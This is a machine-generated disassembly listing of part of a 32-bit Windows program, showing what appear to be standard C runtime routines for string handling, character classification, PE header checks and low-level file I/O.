		jz	short loc_4164EB
		push	esi
		call	sub_40D35A
		pop	ecx

loc_4164EB:				; CODE XREF: sub_416464+7j
					; sub_416464+7Ej
		pop	esi
		retn
sub_416464	endp


; =============== S U B	R O U T	I N E =======================================



sub_4164ED	proc near		; CODE XREF: sub_4136C1+117p
					; sub_4136C1+139p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		push	ebx
		xor	ebx, ebx
		cmp	eax, ebx
		push	esi
		push	edi
		jz	short loc_416502
		mov	edi, [esp+0Ch+arg_4]
		cmp	edi, ebx
		ja	short loc_41651D

loc_416502:				; CODE XREF: sub_4164ED+Bj
					; sub_4164ED+3Aj
		call	sub_40F7D4
		push	16h
		pop	esi
		mov	[eax], esi

loc_41650C:				; CODE XREF: sub_4164ED+69j
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		call	sub_40CB08
		add	esp, 14h
		mov	eax, esi
		jmp	short loc_41655A
; ---------------------------------------------------------------------------

loc_41651D:				; CODE XREF: sub_4164ED+13j
		mov	esi, [esp+0Ch+arg_8]
		cmp	esi, ebx
		jnz	short loc_416529

loc_416525:				; CODE XREF: sub_4164ED+48j
		mov	[eax], bl
		jmp	short loc_416502
; ---------------------------------------------------------------------------

loc_416529:				; CODE XREF: sub_4164ED+36j
		mov	edx, eax

loc_41652B:				; CODE XREF: sub_4164ED+44j
		cmp	[edx], bl
		jz	short loc_416533
		inc	edx
		dec	edi
		jnz	short loc_41652B

loc_416533:				; CODE XREF: sub_4164ED+40j
		cmp	edi, ebx
		jz	short loc_416525

loc_416537:				; CODE XREF: sub_4164ED+55j
		mov	cl, [esi]
		mov	[edx], cl
		inc	edx
		inc	esi
		cmp	cl, bl
		jz	short loc_416544
		dec	edi
		jnz	short loc_416537

loc_416544:				; CODE XREF: sub_4164ED+52j
		cmp	edi, ebx
		jnz	short loc_416558
		mov	[eax], bl
		call	sub_40F7D4
		push	22h
		pop	ecx
		mov	[eax], ecx
		mov	esi, ecx
		jmp	short loc_41650C
; ---------------------------------------------------------------------------

loc_416558:				; CODE XREF: sub_4164ED+59j
		xor	eax, eax

loc_41655A:				; CODE XREF: sub_4164ED+2Ej
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4164ED	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	esi
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		mov	edx, [ebp+0Ch]
		lea	ecx, [ecx+0]

loc_416574:				; CODE XREF: .text:00416581j
		mov	al, [edx]
		or	al, al
		jz	short loc_416583
		add	edx, 1
		bts	[esp], eax
		jmp	short loc_416574
; ---------------------------------------------------------------------------

loc_416583:				; CODE XREF: .text:00416578j
		mov	esi, [ebp+8]
		or	ecx, 0FFFFFFFFh
		lea	ecx, [ecx+0]

loc_41658C:				; CODE XREF: .text:0041659Cj
		add	ecx, 1
		mov	al, [esi]
		or	al, al
		jz	short loc_41659E
		add	esi, 1
		bt	[esp], eax
		jnb	short loc_41658C

loc_41659E:				; CODE XREF: .text:00416593j
		mov	eax, ecx
		add	esp, 20h
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4165A6	proc near		; CODE XREF: sub_4136C1+F1p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		xor	ebx, ebx
		cmp	[ebp+arg_C], ebx
		push	edi
		jnz	short loc_4165C6
		cmp	esi, ebx
		jnz	short loc_4165CA
		cmp	[ebp+arg_4], ebx
		jnz	short loc_4165D1

loc_4165BF:				; CODE XREF: sub_4165A6+4Dj
					; sub_4165A6+8Cj
		xor	eax, eax

loc_4165C1:				; CODE XREF: sub_4165A6+44j
					; sub_4165A6+9Ej
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_4165C6:				; CODE XREF: sub_4165A6+Ej
		cmp	esi, ebx
		jz	short loc_4165D1

loc_4165CA:				; CODE XREF: sub_4165A6+12j
		mov	edi, [ebp+arg_4]
		cmp	edi, ebx
		ja	short loc_4165EC

loc_4165D1:				; CODE XREF: sub_4165A6+17j
					; sub_4165A6+22j ...
		call	sub_40F7D4
		push	16h
		pop	esi
		mov	[eax], esi

loc_4165DB:				; CODE XREF: sub_4165A6+B1j
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		call	sub_40CB08
		add	esp, 14h
		mov	eax, esi
		jmp	short loc_4165C1
; ---------------------------------------------------------------------------

loc_4165EC:				; CODE XREF: sub_4165A6+29j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_4165F5
		mov	[esi], bl
		jmp	short loc_4165BF
; ---------------------------------------------------------------------------

loc_4165F5:				; CODE XREF: sub_4165A6+49j
		mov	edx, [ebp+arg_8]
		cmp	edx, ebx
		jnz	short loc_416600
		mov	[esi], bl
		jmp	short loc_4165D1
; ---------------------------------------------------------------------------

loc_416600:				; CODE XREF: sub_4165A6+54j
		cmp	[ebp+arg_C], 0FFFFFFFFh
		mov	eax, esi
		jnz	short loc_416617

loc_416608:				; CODE XREF: sub_4165A6+6Dj
		mov	cl, [edx]
		mov	[eax], cl
		inc	eax
		inc	edx
		cmp	cl, bl
		jz	short loc_416630
		dec	edi
		jnz	short loc_416608
		jmp	short loc_416630
; ---------------------------------------------------------------------------

loc_416617:				; CODE XREF: sub_4165A6+60j
					; sub_4165A6+81j
		mov	cl, [edx]
		mov	[eax], cl
		inc	eax
		inc	edx
		cmp	cl, bl
		jz	short loc_416629
		dec	edi
		jz	short loc_416629
		dec	[ebp+arg_C]
		jnz	short loc_416617

loc_416629:				; CODE XREF: sub_4165A6+79j
					; sub_4165A6+7Cj
		cmp	[ebp+arg_C], ebx
		jnz	short loc_416630
		mov	[eax], bl

loc_416630:				; CODE XREF: sub_4165A6+6Aj
					; sub_4165A6+6Fj ...
		cmp	edi, ebx
		jnz	short loc_4165BF
		cmp	[ebp+arg_C], 0FFFFFFFFh
		jnz	short loc_416649
		mov	eax, [ebp+arg_4]
		push	50h
		mov	[esi+eax-1], bl
		pop	eax
		jmp	loc_4165C1
; ---------------------------------------------------------------------------

loc_416649:				; CODE XREF: sub_4165A6+92j
		mov	[esi], bl
		call	sub_40F7D4
		push	22h
		pop	ecx
		mov	[eax], ecx
		mov	esi, ecx
		jmp	short loc_4165DB
sub_4165A6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416659	proc near		; CODE XREF: sub_418594+32p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	ebx
		mov	ebx, [ebp+arg_8]
		test	ebx, ebx
		jnz	short loc_416670
		xor	eax, eax
		jmp	loc_41670A
; ---------------------------------------------------------------------------

loc_416670:				; CODE XREF: sub_416659+Ej
		cmp	ebx, 4
		push	edi
		jb	short loc_4166EB
		lea	edi, [ebx-4]
		test	edi, edi
		jbe	short loc_4166EB
		mov	ecx, [ebp+arg_4]
		mov	eax, [ebp+arg_0]

loc_416683:				; CODE XREF: sub_416659+66j
		mov	dl, [eax]
		add	eax, 4
		add	ecx, 4
		test	dl, dl
		jz	short loc_4166E1
		cmp	dl, [ecx-4]
		jnz	short loc_4166E1
		mov	dl, [eax-3]
		test	dl, dl
		jz	short loc_4166D7
		cmp	dl, [ecx-3]
		jnz	short loc_4166D7
		mov	dl, [eax-2]
		test	dl, dl
		jz	short loc_4166CD
		cmp	dl, [ecx-2]
		jnz	short loc_4166CD
		mov	dl, [eax-1]
		test	dl, dl
		jz	short loc_4166C3
		cmp	dl, [ecx-1]
		jnz	short loc_4166C3
		add	[ebp+var_4], 4
		cmp	[ebp+var_4], edi
		jb	short loc_416683
		jmp	short loc_416702
; ---------------------------------------------------------------------------

loc_4166C3:				; CODE XREF: sub_416659+58j
					; sub_416659+5Dj
		movzx	eax, byte ptr [eax-1]
		movzx	ecx, byte ptr [ecx-1]
		jmp	short loc_416713
; ---------------------------------------------------------------------------

loc_4166CD:				; CODE XREF: sub_416659+4Cj
					; sub_416659+51j
		movzx	eax, byte ptr [eax-2]
		movzx	ecx, byte ptr [ecx-2]
		jmp	short loc_416713
; ---------------------------------------------------------------------------

loc_4166D7:				; CODE XREF: sub_416659+40j
					; sub_416659+45j
		movzx	eax, byte ptr [eax-3]
		movzx	ecx, byte ptr [ecx-3]
		jmp	short loc_416713
; ---------------------------------------------------------------------------

loc_4166E1:				; CODE XREF: sub_416659+34j
					; sub_416659+39j
		movzx	eax, byte ptr [eax-4]
		movzx	ecx, byte ptr [ecx-4]
		jmp	short loc_416713
; ---------------------------------------------------------------------------

loc_4166EB:				; CODE XREF: sub_416659+1Bj
					; sub_416659+22j
		mov	ecx, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		jmp	short loc_416702
; ---------------------------------------------------------------------------

loc_4166F3:				; CODE XREF: sub_416659+ACj
		mov	dl, [eax]
		test	dl, dl
		jz	short loc_41670D
		cmp	dl, [ecx]
		jnz	short loc_41670D
		inc	eax
		inc	ecx
		inc	[ebp+var_4]

loc_416702:				; CODE XREF: sub_416659+68j
					; sub_416659+98j
		cmp	[ebp+var_4], ebx
		jb	short loc_4166F3
		xor	eax, eax

loc_416709:				; CODE XREF: sub_416659+BCj
		pop	edi

loc_41670A:				; CODE XREF: sub_416659+12j
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_41670D:				; CODE XREF: sub_416659+9Ej
					; sub_416659+A2j
		movzx	eax, byte ptr [eax]
		movzx	ecx, byte ptr [ecx]

loc_416713:				; CODE XREF: sub_416659+72j
					; sub_416659+7Cj ...
		sub	eax, ecx
		jmp	short loc_416709
sub_416659	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	esi
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		mov	edx, [ebp+0Ch]
		lea	ecx, [ecx+0]

loc_416734:				; CODE XREF: .text:00416741j
		mov	al, [edx]
		or	al, al
		jz	short loc_416743
		add	edx, 1
		bts	[esp], eax
		jmp	short loc_416734
; ---------------------------------------------------------------------------

loc_416743:				; CODE XREF: .text:00416738j
		mov	esi, [ebp+8]
		mov	edi, edi

loc_416748:				; CODE XREF: .text:00416755j
		mov	al, [esi]
		or	al, al
		jz	short loc_41675A
		add	esi, 1
		bt	[esp], eax
		jnb	short loc_416748
		lea	eax, [esi-1]

loc_41675A:				; CODE XREF: .text:0041674Cj
		add	esp, 20h
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416760	proc near		; CODE XREF: sub_40F65B+93p
					; sub_4109D7+34Dp ...

var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= byte ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	[ebp+arg_4]
		lea	ecx, [ebp+var_10]
		call	sub_40AB59
		movzx	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_10]
		mov	ecx, [ecx+0C8h]
		movzx	eax, word ptr [ecx+eax*2]
		and	eax, 8000h
		cmp	[ebp+var_4], 0
		jz	short locret_416794
		mov	ecx, [ebp+var_8]
		and	dword ptr [ecx+70h], 0FFFFFFFDh

locret_416794:				; CODE XREF: sub_416760+2Bj
		leave
		retn
sub_416760	endp


; =============== S U B	R O U T	I N E =======================================



sub_416796	proc near		; CODE XREF: sub_412A74+6CBp
					; sub_412A74+B85p ...

arg_0		= dword	ptr  4

		push	0
		push	[esp+4+arg_0]
		call	sub_416760
		pop	ecx
		pop	ecx
		retn
sub_416796	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4167A4	proc near		; CODE XREF: sub_40F65B+32p
					; sub_4141A2+81p ...

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= byte ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	[ebp+arg_8]
		lea	ecx, [ebp+var_18]
		call	sub_40AB59
		mov	ebx, [ebp+arg_0]
		lea	eax, [ebx+1]
		cmp	eax, 100h
		ja	short loc_4167D2
		mov	eax, [ebp+var_18]
		mov	eax, [eax+0C8h]
		movzx	eax, word ptr [eax+ebx*2]
		jmp	short loc_416847
; ---------------------------------------------------------------------------

loc_4167D2:				; CODE XREF: sub_4167A4+1Dj
		mov	[ebp+arg_0], ebx
		sar	[ebp+arg_0], 8
		lea	eax, [ebp+var_18]
		push	eax
		mov	eax, [ebp+arg_0]
		and	eax, 0FFh
		push	eax
		call	sub_416760
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_416803
		mov	al, byte ptr [ebp+arg_0]
		push	2
		mov	[ebp+var_8], al
		mov	[ebp+var_7], bl
		mov	[ebp+var_6], 0
		pop	ecx
		jmp	short loc_41680D
; ---------------------------------------------------------------------------

loc_416803:				; CODE XREF: sub_4167A4+4Bj
		xor	ecx, ecx
		mov	[ebp+var_8], bl
		mov	[ebp+var_7], 0
		inc	ecx

loc_41680D:				; CODE XREF: sub_4167A4+5Dj
		mov	eax, [ebp+var_18]
		push	1
		push	dword ptr [eax+14h]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_4]
		push	eax
		push	ecx
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_18]
		push	1
		push	eax
		call	sub_416254
		add	esp, 20h
		test	eax, eax
		jnz	short loc_416843
		cmp	[ebp+var_C], al
		jz	short loc_41683F
		mov	eax, [ebp+var_10]
		and	dword ptr [eax+70h], 0FFFFFFFDh

loc_41683F:				; CODE XREF: sub_4167A4+92j
		xor	eax, eax
		jmp	short loc_416857
; ---------------------------------------------------------------------------

loc_416843:				; CODE XREF: sub_4167A4+8Dj
		movzx	eax, [ebp+var_4]

loc_416847:				; CODE XREF: sub_4167A4+2Cj
		and	eax, [ebp+arg_4]
		cmp	[ebp+var_C], 0
		jz	short loc_416857
		mov	ecx, [ebp+var_10]
		and	dword ptr [ecx+70h], 0FFFFFFFDh

loc_416857:				; CODE XREF: sub_4167A4+9Dj
					; sub_4167A4+AAj
		pop	ebx
		leave
		retn
sub_4167A4	endp


; =============== S U B	R O U T	I N E =======================================



sub_41685A	proc near		; CODE XREF: sub_411C19+Fp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dword_42649C, eax
		retn
sub_41685A	endp

; ---------------------------------------------------------------------------

loc_416864:				; DATA XREF: sub_416874:loc_4168D9o
		push	dword ptr [esp+4]
		call	ds:off_41E104
		xor	eax, eax
		inc	eax
		retn	8

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416874	proc near		; CODE XREF: sub_40F881+26p
					; sub_40F934+78p ...

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	14h
		push	offset dword_421D38
		call	__SEH_prolog4
		xor	edi, edi
		mov	[ebp+var_1C], edi
		push	dword_42649C
		call	sub_40F194
		pop	ecx
		mov	esi, eax
		cmp	esi, edi
		jnz	short loc_4168EA
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_411A06
		pop	ecx
		cmp	eax, edi
		jz	short loc_4168B2
		push	edi
		push	edi
		push	edi
		push	edi
		push	edi
		call	sub_40CA0C
		add	esp, 14h

loc_4168B2:				; CODE XREF: sub_416874+2Fj
		cmp	[ebp+var_1C], 1
		jz	short loc_4168D9
		push	offset aKernel32_dll ; "kernel32.dll"
		call	ds:dword_41E0CC	; GetModuleHandleA
		cmp	eax, edi
		jz	short loc_4168D9
		push	offset aInitializecrit ; "InitializeCriticalSectionAndSpinCount"
		push	eax
		call	ds:off_41E0D4
		mov	esi, eax
		cmp	esi, edi
		jnz	short loc_4168DE

loc_4168D9:				; CODE XREF: sub_416874+42j
					; sub_416874+51j
		mov	esi, offset loc_416864

loc_4168DE:				; CODE XREF: sub_416874+63j
		push	esi
		call	sub_40F128
		pop	ecx
		mov	dword_42649C, eax

loc_4168EA:				; CODE XREF: sub_416874+21j
		mov	[ebp+ms_exc.disabled], edi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	esi	; MultiByteToWideChar
		mov	[ebp+var_20], eax
		jmp	short loc_416929
; ---------------------------------------------------------------------------
		mov	eax, [ebp+ms_exc.exc_ptr]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_24], eax
		xor	ecx, ecx
		cmp	eax, 0C0000017h
		setz	cl
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+ms_exc.old_esp]
		cmp	[ebp+var_24], 0C0000017h
		jnz	short loc_416925
		push	8
		call	ds:dword_41E15C	; RtlRestoreLastWin32Error

loc_416925:				; CODE XREF: sub_416874+A7j
		and	[ebp+var_20], 0

loc_416929:				; CODE XREF: sub_416874+84j
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		mov	eax, [ebp+var_20]
		call	__SEH_epilog4
		retn
sub_416874	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_416940	proc near		; CODE XREF: sub_4169B2+16p

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		cmp	word ptr [ecx],	5A4Dh
		jz	short loc_41694E

loc_41694B:				; CODE XREF: sub_416940+19j
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_41694E:				; CODE XREF: sub_416940+9j
		mov	eax, [ecx+3Ch]
		add	eax, ecx
		cmp	dword ptr [eax], 4550h
		jnz	short loc_41694B
		xor	ecx, ecx
		cmp	word ptr [eax+18h], 10Bh
		setz	cl
		mov	eax, ecx
		retn
sub_416940	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_416970	proc near		; CODE XREF: sub_4169B2+27p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		mov	ecx, [eax+3Ch]
		add	ecx, eax
		movzx	eax, word ptr [ecx+14h]
		push	ebx
		push	esi
		movzx	esi, word ptr [ecx+6]
		xor	edx, edx
		test	esi, esi
		push	edi
		lea	eax, [eax+ecx+18h]
		jbe	short loc_4169AC
		mov	edi, [esp+0Ch+arg_4]

loc_416992:				; CODE XREF: sub_416970+3Aj
		mov	ecx, [eax+0Ch]
		cmp	edi, ecx
		jb	short loc_4169A2
		mov	ebx, [eax+8]
		add	ebx, ecx
		cmp	edi, ebx
		jb	short loc_4169AE

loc_4169A2:				; CODE XREF: sub_416970+27j
		add	edx, 1
		add	eax, 28h
		cmp	edx, esi
		jb	short loc_416992

loc_4169AC:				; CODE XREF: sub_416970+1Cj
		xor	eax, eax

loc_4169AE:				; CODE XREF: sub_416970+30j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_416970	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4169B2	proc near		; CODE XREF: sub_410640+FFp
					; sub_411A79+Ep ...

ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8

		push	8
		push	offset dword_421D58
		call	__SEH_prolog4
		and	[ebp+ms_exc.disabled], 0
		mov	edx, 400000h
		push	edx
		call	sub_416940
		pop	ecx
		test	eax, eax
		jz	short loc_416A0F
		mov	eax, [ebp+arg_0]
		sub	eax, edx
		push	eax
		push	edx
		call	sub_416970
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_416A0F
		mov	eax, [eax+24h]
		shr	eax, 1Fh
		not	eax
		and	eax, 1
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		jmp	short loc_416A18
; ---------------------------------------------------------------------------
		mov	eax, [ebp+ms_exc.exc_ptr]
		mov	eax, [eax]
		mov	eax, [eax]
		xor	ecx, ecx
		cmp	eax, 0C0000005h
		setz	cl
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+ms_exc.old_esp]

loc_416A0F:				; CODE XREF: sub_4169B2+1Ej
					; sub_4169B2+30j
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		xor	eax, eax

loc_416A18:				; CODE XREF: sub_4169B2+44j
		call	__SEH_epilog4
		retn
sub_4169B2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416A1E	proc near		; CODE XREF: sub_413B24+2EEp
					; sub_413B24+3C8p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_8]
		push	edi
		push	esi
		mov	[ebp+var_4], eax
		call	sub_418949
		or	edi, 0FFFFFFFFh
		cmp	eax, edi
		pop	ecx
		jnz	short loc_416A53
		call	sub_40F7D4
		mov	dword ptr [eax], 9

loc_416A4D:				; CODE XREF: sub_416A1E+5Ej
		mov	eax, edi
		mov	edx, edi
		jmp	short loc_416A9D
; ---------------------------------------------------------------------------

loc_416A53:				; CODE XREF: sub_416A1E+22j
		push	[ebp+arg_C]
		lea	ecx, [ebp+var_4]
		push	ecx
		push	[ebp+var_8]
		push	eax
		call	ds:off_41E064
		cmp	eax, edi
		mov	[ebp+var_8], eax
		jnz	short loc_416A7E
		call	ds:dword_41E0D8	; RtlGetLastWin32Error
		test	eax, eax
		jz	short loc_416A7E
		push	eax
		call	sub_40F7FA
		pop	ecx
		jmp	short loc_416A4D
; ---------------------------------------------------------------------------

loc_416A7E:				; CODE XREF: sub_416A1E+4Bj
					; sub_416A1E+55j
		mov	eax, esi
		and	esi, 1Fh
		imul	esi, 28h
		sar	eax, 5
		mov	eax, dword_433C00[eax*4]
		lea	eax, [eax+esi+4]
		and	byte ptr [eax],	0FDh
		mov	eax, [ebp+var_8]
		mov	edx, [ebp+var_4]

loc_416A9D:				; CODE XREF: sub_416A1E+33j
		pop	edi
		pop	esi
		leave
		retn
sub_416A1E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416AA1	proc near		; CODE XREF: sub_4107D6+116p

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	14h
		push	offset dword_421D78
		call	__SEH_prolog4
		or	esi, 0FFFFFFFFh
		mov	[ebp+var_24], esi
		mov	[ebp+var_20], esi
		mov	eax, [ebp+arg_0]
		cmp	eax, 0FFFFFFFEh
		jnz	short loc_416ADA
		call	sub_40F7E7
		and	dword ptr [eax], 0
		call	sub_40F7D4
		mov	dword ptr [eax], 9

loc_416AD1:				; CODE XREF: sub_416AA1+66j
		mov	eax, esi
		mov	edx, esi
		jmp	loc_416BAA
; ---------------------------------------------------------------------------

loc_416ADA:				; CODE XREF: sub_416AA1+1Bj
		xor	edi, edi
		cmp	eax, edi
		jl	short loc_416AE8
		cmp	eax, dword_433BE4
		jb	short loc_416B09

loc_416AE8:				; CODE XREF: sub_416AA1+3Dj
		call	sub_40F7E7
		mov	[eax], edi
		call	sub_40F7D4
		mov	dword ptr [eax], 9
		push	edi
		push	edi
		push	edi
		push	edi
		push	edi
		call	sub_40CB08
		add	esp, 14h
		jmp	short loc_416AD1
; ---------------------------------------------------------------------------

loc_416B09:				; CODE XREF: sub_416AA1+45j
		mov	ecx, eax
		sar	ecx, 5
		lea	ebx, ds:433C00h[ecx*4]
		mov	esi, eax
		and	esi, 1Fh
		imul	esi, 28h
		mov	ecx, [ebx]
		movzx	ecx, byte ptr [ecx+esi+4]
		and	ecx, 1
		jnz	short loc_416B4F
		call	sub_40F7E7
		mov	[eax], edi
		call	sub_40F7D4
		mov	dword ptr [eax], 9
		push	edi
		push	edi
		push	edi
		push	edi
		push	edi
		call	sub_40CB08
		add	esp, 14h
		or	edx, 0FFFFFFFFh
		mov	eax, edx
		jmp	short loc_416BAA
; ---------------------------------------------------------------------------

loc_416B4F:				; CODE XREF: sub_416AA1+86j
		push	eax
		call	sub_4189BA
		pop	ecx
		mov	[ebp+ms_exc.disabled], edi
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 1
		jz	short loc_416B7E
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_416A1E
		add	esp, 10h
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], edx
		jmp	short loc_416B98
; ---------------------------------------------------------------------------

loc_416B7E:				; CODE XREF: sub_416AA1+BFj
		call	sub_40F7D4
		mov	dword ptr [eax], 9
		call	sub_40F7E7
		mov	[eax], edi
		or	[ebp+var_24], 0FFFFFFFFh
		or	[ebp+var_20], 0FFFFFFFFh

loc_416B98:				; CODE XREF: sub_416AA1+DBj
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	sub_416BB0
		mov	eax, [ebp+var_24]
		mov	edx, [ebp+var_20]

loc_416BAA:				; CODE XREF: sub_416AA1+34j
					; sub_416AA1+ACj
		call	__SEH_epilog4
		retn
sub_416AA1	endp


; =============== S U B	R O U T	I N E =======================================



sub_416BB0	proc near		; CODE XREF: sub_416AA1+FEp
					; DATA XREF: r69pu5ti:00421D90o
		push	dword ptr [ebp+8]
		call	sub_418A5A
		pop	ecx
		retn
sub_416BB0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=518h


sub_416BBA	proc near		; CODE XREF: sub_417180+9Ap
					; sub_41A0B7+BBp

var_594		= dword	ptr -594h
var_590		= dword	ptr -590h
var_58C		= dword	ptr -58Ch
var_588		= dword	ptr -588h
var_584		= dword	ptr -584h
var_580		= dword	ptr -580h
var_57C		= dword	ptr -57Ch
var_578		= dword	ptr -578h
var_574		= dword	ptr -574h
var_56D		= byte ptr -56Dh
var_56C		= dword	ptr -56Ch
var_568		= dword	ptr -568h
var_564		= byte ptr -564h
var_410		= byte ptr -410h
var_160		= byte ptr -160h
var_C		= byte ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		lea	ebp, [esp-518h]
		sub	esp, 594h
		mov	eax, dword_423068
		xor	eax, ebp
		mov	[ebp+518h+var_4], eax
		mov	eax, [ebp+518h+arg_4]
		push	esi
		xor	esi, esi
		cmp	[ebp+518h+arg_8], esi
		mov	[ebp+518h+var_57C], eax
		mov	[ebp+518h+var_578], esi
		mov	[ebp+518h+var_580], esi
		jnz	short loc_416BF6
		xor	eax, eax
		jmp	loc_41716A
; ---------------------------------------------------------------------------

loc_416BF6:				; CODE XREF: sub_416BBA+33j
		cmp	eax, esi
		jnz	short loc_416C21
		call	sub_40F7E7
		mov	[eax], esi
		call	sub_40F7D4
		push	esi
		push	esi
		push	esi
		push	esi
		push	esi
		mov	dword ptr [eax], 16h
		call	sub_40CB08
		add	esp, 14h
		or	eax, 0FFFFFFFFh
		jmp	loc_41716A
; ---------------------------------------------------------------------------

loc_416C21:				; CODE XREF: sub_416BBA+3Ej
		mov	esi, [ebp+518h+arg_0]
		push	ebx
		mov	ebx, esi
		and	ebx, 1Fh
		imul	ebx, 28h
		mov	eax, esi
		sar	eax, 5
		push	edi
		lea	edi, ds:433C00h[eax*4]
		mov	eax, [edi]
		add	eax, ebx
		mov	cl, [eax+24h]
		add	cl, cl
		sar	cl, 1
		cmp	cl, 2
		mov	[ebp+518h+var_588], edi
		mov	[ebp+518h+var_56D], cl
		jz	short loc_416C58
		cmp	cl, 1
		jnz	short loc_416C8B

loc_416C58:				; CODE XREF: sub_416BBA+97j
		mov	ecx, [ebp+518h+arg_8]
		not	ecx
		test	cl, 1
		jnz	short loc_416C8B
		call	sub_40F7E7
		xor	esi, esi
		mov	[eax], esi
		call	sub_40F7D4
		push	esi
		push	esi
		push	esi
		push	esi
		push	esi
		mov	dword ptr [eax], 16h
		call	sub_40CB08
		add	esp, 14h
		jmp	loc_417160
; ---------------------------------------------------------------------------

loc_416C8B:				; CODE XREF: sub_416BBA+9Cj
					; sub_416BBA+A9j
		test	byte ptr [eax+4], 20h
		jz	short loc_416CA0
		push	2
		push	0
		push	0
		push	esi
		call	sub_416A1E
		add	esp, 10h

loc_416CA0:				; CODE XREF: sub_416BBA+D5j
		push	esi
		call	sub_4172A0
		test	eax, eax
		pop	ecx
		jz	loc_416EA5
		mov	eax, [edi]
		test	byte ptr [ebx+eax+4], 80h
		jz	loc_416EA5
		call	sub_40F39E
		mov	eax, [eax+6Ch]
		xor	ecx, ecx
		cmp	[eax+14h], ecx
		lea	eax, [ebp+518h+var_594]
		setz	cl
		push	eax
		mov	eax, [edi]
		push	dword ptr [ebx+eax]
		mov	esi, ecx
		call	ds:off_41E0FC
		test	eax, eax
		jz	loc_416EA5
		test	esi, esi
		jz	short loc_416CF3
